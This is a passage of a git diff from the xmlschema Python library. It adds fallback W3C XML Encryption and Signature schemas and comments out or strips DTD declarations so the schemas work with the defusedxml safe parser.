base="dsig11:CharTwoFieldParamsType"> + <sequence> + <element name="K" type="positiveInteger"/> + </sequence> + </extension> + </complexContent> + </complexType> + + <element name="PnB" type="dsig11:PnBFieldParamsType"/> + <complexType name="PnBFieldParamsType"> + <complexContent> + <extension base="dsig11:CharTwoFieldParamsType"> + <sequence> + <element name="K1" type="positiveInteger"/> + <element name="K2" type="positiveInteger"/> + <element name="K3" type="positiveInteger"/> + </sequence> + </extension> + </complexContent> + </complexType> + + <element name="DEREncodedKeyValue" type="dsig11:DEREncodedKeyValueType"/> + <complexType name="DEREncodedKeyValueType"> + <simpleContent> + <extension base="base64Binary"> + <attribute name="Id" type="ID" use="optional"/> + </extension> + </simpleContent> + </complexType> + + <element name="KeyInfoReference" type="dsig11:KeyInfoReferenceType"/> + <complexType name="KeyInfoReferenceType"> + <attribute name="URI" type="anyURI" use="required"/> + <attribute name="Id" type="ID" use="optional"/> + </complexType> + + <element name="X509Digest" type="dsig11:X509DigestType"/> + <complexType name="X509DigestType"> + <simpleContent> + <extension base="base64Binary"> + <attribute name="Algorithm" type="anyURI" use="required"/> + </extension> + </simpleContent> + </complexType> + +</schema> + diff --git a/xmlschema/schemas/XENC/xenc-schema-11.xsd b/xmlschema/schemas/XENC/xenc-schema-11.xsd new file mode 100644 index 0000000..3d9eb9d --- /dev/null +++ b/xmlschema/schemas/XENC/xenc-schema-11.xsd @@ -0,0 +1,126 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- +Fallback schema for http://www.w3.org/2009/xmlenc11# namespace: + - DTD commented out for processing the schema with the safe parser + - Imports of other namespaces redirected to fallback schemas +--> + +<!-- +# +# Copyright ©[2011] World Wide Web Consortium +# (Massachusetts Institute of Technology, +# European Research Consortium for Informatics and Mathematics, +# Keio University). All Rights Reserved. +# This work is distributed under the W3C® Software License [1] in the +# hope that it will be useful, but WITHOUT ANY WARRANTY; without even +# the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. +# [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 +# +--> + +<!-- +<!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" + "http://www.w3.org/2001/XMLSchema.dtd" + [ + <!ATTLIST schema + xmlns:xenc CDATA #FIXED 'http://www.w3.org/2001/04/xmlenc#' + xmlns:ds CDATA #FIXED 'http://www.w3.org/2000/09/xmldsig#' + xmlns:xenc11 CDATA #FIXED 'http://www.w3.org/2009/xmlenc11#'> + <!ENTITY xenc 'http://www.w3.org/2001/04/xmlenc#'> + <!ENTITY % p ''> + <!ENTITY % s ''> +]> +--> + +<schema xmlns='http://www.w3.org/2001/XMLSchema' version='1.0' + xmlns:xenc='http://www.w3.org/2001/04/xmlenc#' + xmlns:xenc11='http://www.w3.org/2009/xmlenc11#' + xmlns:ds='http://www.w3.org/2000/09/xmldsig#' + targetNamespace='http://www.w3.org/2009/xmlenc11#' + elementFormDefault='qualified'> + + <import namespace='http://www.w3.org/2000/09/xmldsig#' + schemaLocation='../DSIG/xmldsig-core-schema.xsd'/> + + <import namespace='http://www.w3.org/2001/04/xmlenc#' + schemaLocation='xenc-schema.xsd'/> + + <element name="ConcatKDFParams" type="xenc11:ConcatKDFParamsType"/> + <complexType name="ConcatKDFParamsType"> + <sequence> + <element ref="ds:DigestMethod"/> + </sequence> + <attribute name="AlgorithmID" type="hexBinary"/> + <attribute name="PartyUInfo" type="hexBinary"/> + <attribute name="PartyVInfo" type="hexBinary"/> + <attribute name="SuppPubInfo" type="hexBinary"/> + <attribute name="SuppPrivInfo" type="hexBinary"/> + </complexType> + + <element name="DerivedKey" type="xenc11:DerivedKeyType"/> + <complexType name="DerivedKeyType"> + <sequence> + <element ref="xenc11:KeyDerivationMethod" minOccurs="0"/> + <element ref="xenc:ReferenceList" minOccurs="0"/> + <element name="DerivedKeyName" type="string" minOccurs="0"/> + <element name="MasterKeyName" type="string" minOccurs="0"/> + </sequence> + <attribute name="Recipient" type="string" use="optional"/> + <attribute name="Id" type="ID" use="optional"/> + <attribute name="Type" type="anyURI" use="optional"/> + </complexType> + + <element name="KeyDerivationMethod" type="xenc11:KeyDerivationMethodType"/> + <complexType name="KeyDerivationMethodType"> + <sequence> + <any namespace="##any" minOccurs="0" maxOccurs="unbounded"/> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required"/> + </complexType> + + <element name="PBKDF2-params" type="xenc11:PBKDF2ParameterType"/> + + <complexType name="AlgorithmIdentifierType"> + <sequence> + <element name="Parameters" type="anyType" minOccurs="0"/> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required" /> + </complexType> + + <complexType name="PRFAlgorithmIdentifierType"> + <complexContent> + <restriction base="xenc11:AlgorithmIdentifierType"> + <attribute name="Algorithm" type="anyURI" use="required" /> + </restriction> + </complexContent> + </complexType> + + <complexType name="PBKDF2ParameterType"> + <sequence> + <element name="Salt"> + <complexType> + <choice> + <element name="Specified" type="base64Binary"/> + <element name="OtherSource" type="xenc11:AlgorithmIdentifierType"/> + </choice> + </complexType> + </element> + <element name="IterationCount" type="positiveInteger"/> + <element name="KeyLength" type="positiveInteger"/> + <element name="PRF" type="xenc11:PRFAlgorithmIdentifierType"/> + </sequence> + </complexType> + + <element name="MGF" type="xenc11:MGFType"/> + <complexType name="MGFType"> + <complexContent> + <restriction base="xenc11:AlgorithmIdentifierType"> + <attribute name="Algorithm" type="anyURI" use="required" /> + </restriction> + </complexContent> + </complexType> + +</schema> + + diff --git a/xmlschema/schemas/XENC/xenc-schema.xsd b/xmlschema/schemas/XENC/xenc-schema.xsd new file mode 100644 index 0000000..60033ea --- /dev/null +++ b/xmlschema/schemas/XENC/xenc-schema.xsd @@ -0,0 +1,190 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- +Fallback schema for http://www.w3.org/2001/04/xmlenc# namespace: + - DTD commented out for processing the schema with the safe parser + - Import of http://www.w3.org/2000/09/xmldsig# namespace redirected +--> + +<!-- +# +# Copyright ©[2011] World Wide Web Consortium +# (Massachusetts Institute of Technology, +# European Research Consortium for Informatics and Mathematics, +# Keio University). All Rights Reserved. +# This work is distributed under the W3C® Software License [1] in the +# hope that it will be useful, but WITHOUT ANY WARRANTY; without even +# the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. +# [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 +# +--> + +<!-- +<!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" + "http://www.w3.org/2001/XMLSchema.dtd" + [ + <!ATTLIST schema + xmlns:xenc CDATA #FIXED 'http://www.w3.org/2001/04/xmlenc#' + xmlns:ds CDATA #FIXED 'http://www.w3.org/2000/09/xmldsig#'> + <!ENTITY xenc 'http://www.w3.org/2001/04/xmlenc#'> + <!ENTITY % p ''> + <!ENTITY % s ''> + ]> +--> + +<schema xmlns='http://www.w3.org/2001/XMLSchema' version='1.0' + xmlns:xenc='http://www.w3.org/2001/04/xmlenc#' + xmlns:ds='http://www.w3.org/2000/09/xmldsig#' + targetNamespace='http://www.w3.org/2001/04/xmlenc#' + elementFormDefault='qualified'> + + <import namespace='http://www.w3.org/2000/09/xmldsig#' + schemaLocation='../DSIG/xmldsig-core-schema.xsd'/> + + <complexType name='EncryptedType' abstract='true'> + <sequence> + <element name='EncryptionMethod' type='xenc:EncryptionMethodType' + minOccurs='0'/> + <element ref='ds:KeyInfo' minOccurs='0'/> + <element ref='xenc:CipherData'/> + <element ref='xenc:EncryptionProperties' minOccurs='0'/> + </sequence> + <attribute name='Id' type='ID' use='optional'/> + <attribute name='Type' type='anyURI' use='optional'/> + <attribute name='MimeType' type='string' use='optional'/> + <attribute name='Encoding' type='anyURI' use='optional'/> + </complexType> + + <complexType name='EncryptionMethodType' mixed='true'> + <sequence> + <element name='KeySize' minOccurs='0' type='xenc:KeySizeType'/> + <element name='OAEPparams' minOccurs='0' type='base64Binary'/> + <!-- note that optional xenc11:MGF element may be used here for + RSA-OAEP, when appropriate --> + <any namespace='##other' minOccurs='0' maxOccurs='unbounded'/> + </sequence> + <attribute name='Algorithm' type='anyURI' use='required'/> + </complexType> + + <simpleType name='KeySizeType'> + <restriction base="integer"/> + </simpleType> + + <element name='CipherData' type='xenc:CipherDataType'/> + <complexType name='CipherDataType'> + <choice> + <element name='CipherValue' type='base64Binary'/> + <element ref='xenc:CipherReference'/> + </choice> + </complexType> + + <element name='CipherReference' type='xenc:CipherReferenceType'/> + <complexType name='CipherReferenceType'> + <choice> + <element name='Transforms' type='xenc:TransformsType' minOccurs='0'/> + </choice> + <attribute name='URI' type='anyURI' use='required'/> + </complexType> + + <complexType name='TransformsType'> + <sequence> + <element ref='ds:Transform' maxOccurs='unbounded'/> + </sequence> + </complexType> + + + <element name='EncryptedData' type='xenc:EncryptedDataType'/> + <complexType name='EncryptedDataType'> + <complexContent> + <extension base='xenc:EncryptedType'> + </extension> + </complexContent> + </complexType> + + <!-- Children of ds:KeyInfo --> + + <element name='EncryptedKey' type='xenc:EncryptedKeyType'/> + <complexType name='EncryptedKeyType'> + <complexContent> + <extension base='xenc:EncryptedType'> + <sequence> + <element ref='xenc:ReferenceList' minOccurs='0'/> + <element name='CarriedKeyName' type='string' minOccurs='0'/> + </sequence> + <attribute name='Recipient' type='string' + use='optional'/> + </extension> + </complexContent> + </complexType> + + <element name="AgreementMethod" type="xenc:AgreementMethodType"/> + <complexType name="AgreementMethodType" mixed="true"> + <sequence> + <element name="KA-Nonce" minOccurs="0" type="base64Binary"/> + <!-- <element ref="ds:DigestMethod" minOccurs="0"/> --> + <any namespace="##other" minOccurs="0" maxOccurs="unbounded"/> + <element name="OriginatorKeyInfo" minOccurs="0" type="ds:KeyInfoType"/> + <element name="RecipientKeyInfo" minOccurs="0" type="ds:KeyInfoType"/> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required"/> + </complexType> + + <!-- End Children of ds:KeyInfo --> + + <element name='ReferenceList'> + <complexType> + <choice minOccurs='1' maxOccurs='unbounded'> + <element name='DataReference' type='xenc:ReferenceType'/> + <element name='KeyReference' type='xenc:ReferenceType'/> + </choice> + </complexType> + </element> + + <complexType name='ReferenceType'> + <sequence> + <any namespace='##other' minOccurs='0' maxOccurs='unbounded'/> + </sequence> + <attribute name='URI' type='anyURI' use='required'/> + </complexType> + + + <element name='EncryptionProperties' type='xenc:EncryptionPropertiesType'/> + <complexType name='EncryptionPropertiesType'> + <sequence> + <element ref='xenc:EncryptionProperty' maxOccurs='unbounded'/> + </sequence> + <attribute name='Id' type='ID' use='optional'/> + </complexType> + + <element name='EncryptionProperty' type='xenc:EncryptionPropertyType'/> + <complexType name='EncryptionPropertyType' mixed='true'> + <choice maxOccurs='unbounded'> + <any namespace='##other' processContents='lax'/> + </choice> + <attribute name='Target' type='anyURI' use='optional'/> + <attribute name='Id' type='ID' use='optional'/> + <anyAttribute namespace="http://www.w3.org/XML/1998/namespace"/> + </complexType> + + <!-- Children of ds:KeyValue --> + + <element name="DHKeyValue" type="xenc:DHKeyValueType"/> + <complexType name="DHKeyValueType"> + <sequence> + <sequence minOccurs="0"> + <element name="P" type="ds:CryptoBinary"/> + <element name="Q" type="ds:CryptoBinary"/> + <element name="Generator" type="ds:CryptoBinary"/> + </sequence> + <element name="Public" type="ds:CryptoBinary"/> + <sequence minOccurs="0"> + <element name="seed" type="ds:CryptoBinary"/> + <element name="pgenCounter" type="ds:CryptoBinary"/> + </sequence> + </sequence> + </complexType> + + <!-- End Children of ds:KeyValue --> + +</schema> + diff --git a/xmlschema/schemas/XML/xml_minimal.xsd b/xmlschema/schemas/XML/xml_minimal.xsd index 63712c3..3aa8098 100644 --- a/xmlschema/schemas/XML/xml_minimal.xsd +++ b/xmlschema/schemas/XML/xml_minimal.xsd @@ -1,6 +1,5 @@ <?xml version='1.0'?> -<?xml-stylesheet href="../../2008/09/xsd.xsl" type="text/xsl"?> -<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" +<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> <!-- A minimal schema that not requires the loading of xhtml namespace --> diff --git a/xmlschema/schemas/XSD_1.0/XMLSchema.xsd b/xmlschema/schemas/XSD_1.0/XMLSchema.xsd index 91cd4be..c75baaf 100644 --- a/xmlschema/schemas/XSD_1.0/XMLSchema.xsd +++ b/xmlschema/schemas/XSD_1.0/XMLSchema.xsd @@ -34,6 +34,11 @@ <!-- keep this schema XML1.0 DTD valid --> +<!-- + Commented to make xmlschema compatible with defusedxml.defuse_stdlib() + that creates a monkey patched version of xml.etree.ElementTree library + with a safe parser. + <!ENTITY % schemaAttrs 'xmlns:hfp CDATA #IMPLIED'> <!ELEMENT hfp:hasFacet EMPTY> @@ -44,6 +49,7 @@ <!ATTLIST hfp:hasProperty name NMTOKEN #REQUIRED value CDATA #REQUIRED> + --> <!-- Make sure that processors that do not read the external subset will know about the various IDs we declare diff --git a/xmlschema/schemas/XSD_1.1/XMLSchema.xsd b/xmlschema/schemas/XSD_1.1/XMLSchema.xsd index 21c707c..8a986f0 100644 --- a/xmlschema/schemas/XSD_1.1/XMLSchema.xsd +++ b/xmlschema/schemas/XSD_1.1/XMLSchema.xsd @@ -1,62 +1,6 @@ -<?xml version='1.0'?> - -<!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "XMLSchema.dtd" [ - -<!-- provide ID type information even for parsers which only read the - internal subset --> -<!ATTLIST xs:schema id ID #IMPLIED> -<!ATTLIST xs:complexType id ID #IMPLIED> -<!ATTLIST xs:complexContent id ID #IMPLIED> -<!ATTLIST xs:simpleContent id ID #IMPLIED> -<!ATTLIST xs:extension id ID #IMPLIED> -<!ATTLIST xs:element id ID #IMPLIED> -<!ATTLIST xs:group id ID #IMPLIED> -<!ATTLIST xs:all id ID #IMPLIED> -<!ATTLIST xs:choice id ID #IMPLIED> -<!ATTLIST xs:sequence id ID #IMPLIED> -<!ATTLIST xs:any id ID #IMPLIED> -<!ATTLIST xs:anyAttribute id ID #IMPLIED> -<!ATTLIST xs:attribute id ID #IMPLIED> -<!ATTLIST xs:attributeGroup id ID #IMPLIED> -<!ATTLIST xs:unique id ID #IMPLIED> -<!ATTLIST xs:key id ID #IMPLIED> -<!ATTLIST xs:keyref id ID #IMPLIED> -<!ATTLIST xs:selector id ID #IMPLIED> -<!ATTLIST xs:field id ID #IMPLIED> -<!ATTLIST xs:assert id ID #IMPLIED> -<!ATTLIST xs:include id ID #IMPLIED> -<!ATTLIST xs:import id ID #IMPLIED> -<!ATTLIST xs:redefine id ID #IMPLIED> -<!ATTLIST xs:override id ID #IMPLIED> -<!ATTLIST xs:notation id ID #IMPLIED> -<!-- - Make sure that processors that do not read the external - subset will know about the various IDs we declare - --> - <!ATTLIST xs:simpleType id ID #IMPLIED> - <!ATTLIST xs:maxExclusive id ID #IMPLIED> - <!ATTLIST xs:minExclusive id ID #IMPLIED> - <!ATTLIST xs:maxInclusive id ID #IMPLIED> - <!ATTLIST xs:minInclusive id ID #IMPLIED> - <!ATTLIST xs:totalDigits id ID #IMPLIED> - <!ATTLIST xs:fractionDigits id ID #IMPLIED> - <!ATTLIST xs:length id ID #IMPLIED> - <!ATTLIST xs:minLength id ID #IMPLIED> - <!ATTLIST xs:maxLength id ID #IMPLIED> - <!ATTLIST xs:enumeration id ID #IMPLIED> - <!ATTLIST xs:pattern id ID #IMPLIED> - <!ATTLIST xs:assertion id ID #IMPLIED> - <!ATTLIST xs:explicitTimezone id ID #IMPLIED> - <!ATTLIST xs:appinfo id ID #IMPLIED> - <!ATTLIST xs:documentation id ID #IMPLIED> - <!ATTLIST xs:list id ID #IMPLIED> - <!ATTLIST xs:union id ID #IMPLIED> - ]> - -<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" - elementFormDefault="qualified" xml:lang="EN" - targetNamespace="http://www.w3.org/2001/XMLSchema" - version="1.0"> +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "XMLSchema.dtd"> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" xml:lang="EN" targetNamespace="http://www.w3.org/2001/XMLSchema" version="1.0"> <xs:annotation> <xs:documentation> Part 1 version: structures.xsd (rec-20120405) @@ -65,7 +9,7 @@ </xs:annotation> <xs:annotation> - <xs:documentation source="../structures/structures.html"> + <xs:documentation source="../structures/structures.html"> The schema corresponding to this document is normative, with respect to the syntactic constraints it expresses in the XML Schema Definition Language. The documentation (within 'documentation' elements) @@ -83,8 +27,7 @@ The simpleType element and all of its members are defined towards the end of this schema document.</xs:documentation> </xs:annotation> - <xs:import namespace="http://www.w3.org/XML/1998/namespace" - schemaLocation="http://www.w3.org/2001/xml.xsd"> + <xs:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"> <xs:annotation> <xs:documentation> Get access to the xml: attribute groups for xml:lang @@ -110,7 +53,7 @@ <xs:annotation> <xs:documentation> This type is extended by all types which allow annotation - other than <schema> itself + other than <schema> itself </xs:documentation> </xs:annotation> <xs:complexContent> @@ -149,7 +92,7 @@ <xs:annotation> <xs:documentation> This group is for the - elements which can self-redefine (see <redefine> below).</xs:documentation> + elements which can self-redefine (see <redefine> below).</xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:simpleType"/> @@ -228,8 +171,7 @@ </xs:simpleType> <xs:element name="schema" id="schema"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-schema"/> + <xs:documentation source="../structures/structures.html#element-schema"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -238,28 +180,21 @@ <xs:group ref="xs:composition" minOccurs="0" maxOccurs="unbounded"/> <xs:sequence minOccurs="0"> <xs:element ref="xs:defaultOpenContent"/> - <xs:element ref="xs:annotation" minOccurs="0" - maxOccurs="unbounded"/> + <xs:element ref="xs:annotation" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:group ref="xs:schemaTop"/> - <xs:element ref="xs:annotation" minOccurs="0" - maxOccurs="unbounded"/> + <xs:element ref="xs:annotation" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:sequence> <xs:attribute name="targetNamespace" type="xs:anyURI"/> <xs:attribute name="version" type="xs:token"/> - <xs:attribute name="finalDefault" type="xs:fullDerivationSet" - default="" use="optional"/> - <xs:attribute name="blockDefault" type="xs:blockSet" default="" - use="optional"/> - <xs:attribute name="attributeFormDefault" type="xs:formChoice" - default="unqualified" use="optional"/> - <xs:attribute name="elementFormDefault" type="xs:formChoice" - default="unqualified" use="optional"/> + <xs:attribute name="finalDefault" type="xs:fullDerivationSet" default="" use="optional"/> + <xs:attribute name="blockDefault" type="xs:blockSet" default="" use="optional"/> + <xs:attribute name="attributeFormDefault" type="xs:formChoice" default="unqualified" use="optional"/> + <xs:attribute name="elementFormDefault" type="xs:formChoice" default="unqualified" use="optional"/> <xs:attribute name="defaultAttributes" type="xs:QName"/> - <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace" - default="##local" use="optional"/> + <xs:attribute name="xpathDefaultNamespace" type="xs:xpathDefaultNamespace" default="##local" use="optional"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute ref="xml:lang"/> </xs:extension> @@ -312,8 +247,7 @@ <xs:documentation> for all particles</xs:documentation> </xs:annotation> - <xs:attribute name="minOccurs" type="xs:nonNegativeInteger" default="1" - use="optional"/> + <xs:attribute name="minOccurs" type="xs:nonNegativeInteger" default="1" use="optional"/> <xs:attribute name="maxOccurs" type="xs:allNNI" default="1" use="optional"/> </xs:attributeGroup> <xs:attributeGroup name="defRef"> @@ -409,24 +343,21 @@ <xs:element ref="xs:anyAttribute" minOccurs="0"/> </xs:sequence> </xs:group> - <xs:element name="anyAttribute" id="anyAttribute"> + <xs:element name="anyAttribute" id="anyAttribute"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-anyAttribute"/> + <xs:documentation source="../structures/structures.html#element-anyAttribute"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> - <xs:attribute name="notQName" type="xs:qnameListA" - use="optional"/> + <xs:attribute name="notQName" type="xs:qnameListA" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:group name="assertions"> <xs:sequence> - <xs:element name="assert" type="xs:assertion" - minOccurs="0" maxOccurs="unbounded"/> + <xs:element name="assert" type="xs:assertion" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType name="assertion"> @@ -445,11 +376,11 @@ <xs:annotation> <xs:documentation> This branch is short for - <complexContent> - <restriction base="xs:anyType"> + <complexContent> + <restriction base="xs:anyType"> ... - </restriction> - </complexContent></xs:documentation> + </restriction> + </complexContent></xs:documentation> </xs:annotation> <xs:element ref="xs:openContent" minOccurs="0"/> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> @@ -475,12 +406,10 @@ May be overridden by setting on complexContent child.</xs:documentation> </xs:annotation> </xs:attribute> - <xs:attribute name="abstract" type="xs:boolean" default="false" - use="optional"/> + <xs:attribute name="abstract" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:derivationSet"/> - <xs:attribute name="defaultAttributesApply" type="xs:boolean" - default="true" use="optional"/> + <xs:attribute name="defaultAttributesApply" type="xs:boolean" default="true" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> @@ -569,8 +498,7 @@ </xs:complexType> <xs:element name="complexContent" id="complexContent"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-complexContent"/> + <xs:documentation source="../structures/structures.html#element-complexContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -591,8 +519,7 @@ </xs:element> <xs:element name="openContent" id="openContent"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-openContent"/> + <xs:documentation source="../structures/structures.html#element-openContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -616,8 +543,7 @@ </xs:element> <xs:element name="defaultOpenContent" id="defaultOpenContent"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-defaultOpenContent"/> + <xs:documentation source="../structures/structures.html#element-defaultOpenContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -625,8 +551,7 @@ <xs:sequence> <xs:element name="any" type="xs:wildcard"/> </xs:sequence> - <xs:attribute name="appliesToEmpty" type="xs:boolean" - default="false" use="optional"/> + <xs:attribute name="appliesToEmpty" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="mode" default="interleave" use="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> @@ -677,8 +602,7 @@ </xs:complexType> <xs:element name="simpleContent" id="simpleContent"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-simpleContent"/> + <xs:documentation source="../structures/structures.html#element-simpleContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -693,8 +617,7 @@ </xs:element> <xs:element name="complexType" type="xs:topLevelComplexType" id="complexType"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-complexType"/> + <xs:documentation source="../structures/structures.html#element-complexType"/> </xs:annotation> </xs:element> <xs:simpleType name="blockSet"> @@ -740,10 +663,8 @@ <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> - <xs:element name="alternative" type="xs:altType" - minOccurs="0" maxOccurs="unbounded"/> - <xs:group ref="xs:identityConstraint" minOccurs="0" - maxOccurs="unbounded"/> + <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> + <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attributeGroup ref="xs:defRef"/> <xs:attribute name="type" type="xs:QName"/> @@ -757,8 +678,7 @@ <xs:attribute name="default" type="xs:string"/> <xs:attribute name="fixed" type="xs:string"/> <xs:attribute name="nillable" type="xs:boolean" use="optional"/> - <xs:attribute name="abstract" type="xs:boolean" default="false" - use="optional"/> + <xs:attribute name="abstract" type="xs:boolean" default="false" use="optional"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:blockSet"/> <xs:attribute name="form" type="xs:formChoice"/> @@ -775,10 +695,8 @@ <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> - <xs:element name="alternative" type="xs:altType" - minOccurs="0" maxOccurs="unbounded"/> - <xs:group ref="xs:identityConstraint" minOccurs="0" - maxOccurs="unbounded"/> + <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> + <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="form" use="prohibited"/> @@ -799,10 +717,8 @@ <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> - <xs:element name="alternative" type="xs:altType" - minOccurs="0" maxOccurs="unbounded"/> - <xs:group ref="xs:identityConstraint" minOccurs="0" - maxOccurs="unbounded"/> + <xs:element name="alternative" type="xs:altType" minOccurs="0" maxOccurs="unbounded"/> + <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="substitutionGroup" use="prohibited"/> <xs:attribute name="final" use="prohibited"/> @@ -813,8 +729,7 @@ </xs:complexType> <xs:element name="element" type="xs:topLevelElement" id="element"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-element"/> + <xs:documentation source="../structures/structures.html#element-element"/> </xs:annotation> </xs:element> <xs:complexType name="altType"> @@ -1001,14 +916,12 @@ </xs:element> <xs:element name="choice" type="xs:explicitGroup" id="choice"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-choice"/> + <xs:documentation source="../structures/structures.html#element-choice"/> </xs:annotation> </xs:element> <xs:element name="sequence" type="xs:explicitGroup" id="sequence"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-sequence"/> + <xs:documentation source="../structures/structures.html#element-sequence"/> </xs:annotation> </xs:element> <xs:element name="group" type="xs:namedGroup" id="group"> @@ -1017,8 +930,7 @@ </xs:annotation> </xs:element> <xs:attributeGroup name="anyAttrGroup"> - <xs:attribute name="namespace" type="xs:namespaceList" - use="optional"/> + <xs:attribute name="namespace" type="xs:namespaceList" use="optional"/> <xs:attribute name="notNamespace" use="optional"> <xs:simpleType> <xs:restriction base="xs:basicNamespaceList"> @@ -1051,8 +963,7 @@ <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> - <xs:attribute name="notQName" type="xs:qnameList" - use="optional"/> + <xs:attribute name="notQName" type="xs:qnameList" use="optional"/> <xs:attributeGroup ref="xs:occurs"/> </xs:extension> </xs:complexContent> @@ -1088,7 +999,7 @@ A utility type, not for public use</xs:documentation> </xs:annotation> - <xs:union memberTypes="xs:specialNamespaceList xs:basicNamespaceList" /> + <xs:union memberTypes="xs:specialNamespaceList xs:basicNamespaceList"/> </xs:simpleType> <xs:simpleType name="basicNamespaceList"> <xs:annotation> @@ -1168,8 +1079,7 @@ </xs:simpleType> <xs:element name="attribute" type="xs:topLevelAttribute" id="attribute"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-attribute"/> + <xs:documentation source="../structures/structures.html#element-attribute"/> </xs:annotation> </xs:element> <xs:complexType name="attributeGroup" abstract="true"> @@ -1208,17 +1118,14 @@ </xs:restriction> </xs:complexContent> </xs:complexType> - <xs:element name="attributeGroup" type="xs:namedAttributeGroup" - id="attributeGroup"> + <xs:element name="attributeGroup" type="xs:namedAttributeGroup" id="attributeGroup"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-attributeGroup"/> + <xs:documentation source="../structures/structures.html#element-attributeGroup"/> </xs:annotation> </xs:element> <xs:element name="include" id="include"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-include"/> + <xs:documentation source="../structures/structures.html#element-include"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1230,8 +1137,7 @@ </xs:element> <xs:element name="redefine" id="redefine"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-redefine"/> + <xs:documentation source="../structures/structures.html#element-redefine"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1249,8 +1155,7 @@ <xs:element name="override" id="override"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-override"/> + <xs:documentation source="../structures/structures.html#element-override"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1267,8 +1172,7 @@ </xs:element> <xs:element name="import" id="import"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-import"/> + <xs:documentation source="../structures/structures.html#element-import"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1281,8 +1185,7 @@ </xs:element> <xs:element name="selector" id="selector"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-selector"/> + <xs:documentation source="../structures/structures.html#element-selector"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1354,8 +1257,7 @@ use</xs:documentation> </xs:group> <xs:element name="unique" type="xs:keybase" id="unique"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-unique"/> + <xs:documentation source="../structures/structures.html#element-unique"/> </xs:annotation> </xs:element> <xs:element name="key" type="xs:keybase" id="key"> @@ -1365,8 +1267,7 @@ use</xs:documentation> </xs:element> <xs:element name="keyref" id="keyref"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-keyref"/> + <xs:documentation source="../structures/structures.html#element-keyref"/> </xs:annotation> <xs:complexType> 